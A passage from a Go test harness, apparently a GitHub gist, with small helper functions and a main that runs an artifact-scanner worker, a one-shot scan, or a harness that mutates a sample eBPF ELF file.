fmt.Printf("worker_process_state_exited: %v\n", worker.ProcessState.Exited())
if status, ok := worker.ProcessState.Sys().(syscall.WaitStatus); ok {
fmt.Printf("worker_wait_status: %v\n", status)
}
return nil
}
func readLine(ch <-chan string, label string) (string, error) {
select {
case line, ok := <-ch:
if !ok {
return "", fmt.Errorf("%s: stdout closed", label)
}
return line, nil
case <-time.After(5 * time.Second):
return "", fmt.Errorf("%s: timed out waiting for output", label)
}
}
func exitCode(err error) int {
if err == nil {
return 0
}
var ee *exec.ExitError
if errors.As(err, &ee) {
return ee.ExitCode()
}
return -1
}
func indent(s string) string {
if s == "" {
return " <empty>\n"
}
var b strings.Builder
for _, line := range strings.Split(strings.TrimRight(s, "\n"), "\n") {
b.WriteString(" ")
b.WriteString(line)
b.WriteByte('\n')
}
return b.String()
}
func firstLines(s string, n int) string {
lines := strings.Split(strings.TrimRight(s, "\n"), "\n")
if len(lines) == 1 && lines[0] == "" {
return ""
}
if len(lines) > n {
lines = append(lines[:n], fmt.Sprintf("... truncated %d lines ...", len(lines)-n))
}
return strings.Join(lines, "\n") + "\n"
}
func main() {
worker := flag.Bool("worker", false, "run long-running artifact scanner worker")
scan := flag.Bool("scan", false, "run one-shot scanner on paths")
input := flag.String("input", "cmd/bpf2go/testdata/minimal-el.elf", "valid eBPF ELF used as mutation source")
flag.Parse()
switch {
case *worker:
scannerWorker()
case *scan:
os.Exit(scannerCLI(flag.Args()))
default:
if err := runHarness(*input); err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment